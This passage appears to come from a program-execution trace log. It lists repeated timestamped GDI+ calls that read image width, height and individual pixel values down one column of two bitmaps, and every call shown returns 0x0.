(bitmap=0x4ad7818, x=0, y=224, color=0x540e3d0) returned 0x0 [0226.551] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.551] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.551] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=225, color=0x540e3d0) returned 0x0 [0226.551] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.551] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.551] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=226, color=0x540e3d0) returned 0x0 [0226.551] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.551] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.551] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=227, color=0x540e3d0) returned 0x0 [0226.551] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.551] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.551] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=228, color=0x540e3d0) returned 0x0 [0226.551] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.551] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.551] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=229, color=0x540e3d0) returned 0x0 [0226.551] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.551] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.551] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=230, color=0x540e3d0) returned 0x0 [0226.551] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.551] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.551] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=231, color=0x540e3d0) returned 0x0 [0226.551] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.551] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.551] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=232, color=0x540e3d0) returned 0x0 [0226.551] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.551] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.552] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=233, color=0x540e3d0) returned 0x0 [0226.552] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.552] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.552] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=234, color=0x540e3d0) returned 0x0 [0226.552] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.552] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.552] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=235, color=0x540e3d0) returned 0x0 [0226.552] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.552] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.552] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=236, color=0x540e3d0) returned 0x0 [0226.552] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.552] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.552] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=237, color=0x540e3d0) returned 0x0 [0226.552] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.552] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.552] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=238, color=0x540e3d0) returned 0x0 [0226.552] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.552] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.552] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=239, color=0x540e3d0) returned 0x0 [0226.552] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.552] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.552] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=240, color=0x540e3d0) returned 0x0 [0226.552] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.552] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.552] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=241, color=0x540e3d0) returned 0x0 [0226.552] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.552] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.552] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=242, color=0x540e3d0) returned 0x0 [0226.552] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.552] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.552] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=243, color=0x540e3d0) returned 0x0 [0226.552] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.553] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.553] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=244, color=0x540e3d0) returned 0x0 [0226.553] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.553] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.553] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=245, color=0x540e3d0) returned 0x0 [0226.553] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.553] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.553] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=246, color=0x540e3d0) returned 0x0 [0226.553] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.553] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.553] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=247, color=0x540e3d0) returned 0x0 [0226.553] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=248, color=0x540e3d0) returned 0x0 [0226.893] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3e4) returned 0x0 [0226.893] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3e4) returned 0x0 [0226.893] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.893] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.893] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=0, color=0x540e3d0) returned 0x0 [0226.893] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.893] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.893] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=1, color=0x540e3d0) returned 0x0 [0226.893] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.893] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.893] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=2, color=0x540e3d0) returned 0x0 [0226.893] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.893] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.893] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=3, color=0x540e3d0) returned 0x0 [0226.893] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.893] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.893] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=4, color=0x540e3d0) returned 0x0 [0226.894] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.894] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.894] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=5, color=0x540e3d0) returned 0x0 [0226.894] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.894] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.894] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=6, color=0x540e3d0) returned 0x0 [0226.894] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.894] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.894] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=7, color=0x540e3d0) returned 0x0 [0226.894] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.894] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.894] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=8, color=0x540e3d0) returned 0x0 [0226.894] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.894] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.894] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=9, color=0x540e3d0) returned 0x0 [0226.894] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.894] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.894] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=10, color=0x540e3d0) returned 0x0 [0226.894] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.894] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.894] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=11, color=0x540e3d0) returned 0x0 [0226.894] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.894] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.894] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=12, color=0x540e3d0) returned 0x0 [0226.894] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.894] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.894] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=13, color=0x540e3d0) returned 0x0 [0226.894] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.895] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.895] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=14, color=0x540e3d0) returned 0x0 [0226.895] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.895] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.895] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=15, color=0x540e3d0) returned 0x0 [0226.895] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.895] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.895] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=16, color=0x540e3d0) returned 0x0 [0226.895] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.895] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.895] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=17, color=0x540e3d0) returned 0x0 [0226.895] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.895] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.895] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=18, color=0x540e3d0) returned 0x0 [0226.895] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.895] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.895] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=19, color=0x540e3d0) returned 0x0 [0226.895] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.895] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.895] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=20, color=0x540e3d0) returned 0x0 [0226.895] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.895] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.895] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=21, color=0x540e3d0) returned 0x0 [0226.895] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.895] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.895] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=22, color=0x540e3d0) returned 0x0 [0226.895] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.895] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.895] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=23, color=0x540e3d0) returned 0x0 [0226.895] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.896] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.896] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=24, color=0x540e3d0) returned 0x0 [0226.896] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.896] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.896] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=25, color=0x540e3d0) returned 0x0 [0226.896] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.896] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.896] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=26, color=0x540e3d0) returned 0x0 [0226.896] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.896] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.896] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=27, color=0x540e3d0) returned 0x0 [0226.896] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.896] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.896] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=28, color=0x540e3d0) returned 0x0 [0226.896] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.896] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.896] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=29, color=0x540e3d0) returned 0x0 [0226.896] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.896] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.896] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=30, color=0x540e3d0) returned 0x0 [0226.896] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.896] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.896] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=31, color=0x540e3d0) returned 0x0 [0226.896] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.896] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.896] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=32, color=0x540e3d0) returned 0x0 [0226.896] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.897] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.897] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=33, color=0x540e3d0) returned 0x0 [0226.897] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.897] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.897] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=34, color=0x540e3d0) returned 0x0 [0226.897] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.897] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.897] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=35, color=0x540e3d0) returned 0x0 [0226.897] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.897] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.897] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=36, color=0x540e3d0) returned 0x0 [0226.897] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.897] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.897] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=37, color=0x540e3d0) returned 0x0 [0226.897] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.897] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.897] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=38, color=0x540e3d0) returned 0x0 [0226.897] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.897] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.897] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=39, color=0x540e3d0) returned 0x0 [0226.897] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.897] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.897] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=40, color=0x540e3d0) returned 0x0 [0226.897] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.898] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.898] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=41, color=0x540e3d0) returned 0x0 [0226.898] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.898] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.898] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=42, color=0x540e3d0) returned 0x0 [0226.898] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.898] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.898] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=43, color=0x540e3d0) returned 0x0 [0226.898] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.898] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.898] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=44, color=0x540e3d0) returned 0x0 [0226.898] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.898] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.898] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=45, color=0x540e3d0) returned 0x0 [0226.898] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.898] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.898] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=46, color=0x540e3d0) returned 0x0 [0226.898] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.898] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.898] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=47, color=0x540e3d0) returned 0x0 [0226.898] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.898] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.899] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=48, color=0x540e3d0) returned 0x0 [0226.899] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.899] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.899] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=49, color=0x540e3d0) returned 0x0 [0226.899] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.899] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.899] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=50, color=0x540e3d0) returned 0x0 [0226.899] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.899] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.899] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=51, color=0x540e3d0) returned 0x0 [0226.899] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.899] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.899] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=52, color=0x540e3d0) returned 0x0 [0226.899] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.899] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.899] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=53, color=0x540e3d0) returned 0x0 [0226.899] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.899] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.899] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=54, color=0x540e3d0) returned 0x0 [0226.899] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.899] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.899] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=55, color=0x540e3d0) returned 0x0 [0226.900] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.900] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.900] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=56, color=0x540e3d0) returned 0x0 [0226.900] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.900] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.900] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=57, color=0x540e3d0) returned 0x0 [0226.900] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.900] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.900] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=58, color=0x540e3d0) returned 0x0 [0226.900] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.900] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.900] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=59, color=0x540e3d0) returned 0x0 [0226.900] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.900] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.900] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=60, color=0x540e3d0) returned 0x0 [0226.900] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.900] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.900] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=61, color=0x540e3d0) returned 0x0 [0226.900] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.900] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.900] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=62, color=0x540e3d0) returned 0x0 [0226.900] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.901] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.901] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=63, color=0x540e3d0) returned 0x0 [0226.901] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.901] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.901] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=64, color=0x540e3d0) returned 0x0 [0226.901] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.901] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.901] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=65, color=0x540e3d0) returned 0x0 [0226.901] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.901] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.901] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=66, color=0x540e3d0) returned 0x0 [0226.901] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.901] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.901] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=67, color=0x540e3d0) returned 0x0 [0226.901] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.901] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.901] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=68, color=0x540e3d0) returned 0x0 [0226.901] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.901] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.901] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=69, color=0x540e3d0) returned 0x0 [0226.901] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.901] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.902] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=70, color=0x540e3d0) returned 0x0 [0226.902] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.902] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.902] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=71, color=0x540e3d0) returned 0x0 [0226.902] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.902] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.902] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=72, color=0x540e3d0) returned 0x0 [0226.902] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.902] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.902] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=73, color=0x540e3d0) returned 0x0 [0226.902] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.902] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.902] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=74, color=0x540e3d0) returned 0x0 [0226.902] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.902] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.902] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=75, color=0x540e3d0) returned 0x0 [0226.902] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.902] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.902] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=76, color=0x540e3d0) returned 0x0 [0226.902] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.902] GdipGetImageHeight (image=0x4ae4c90, 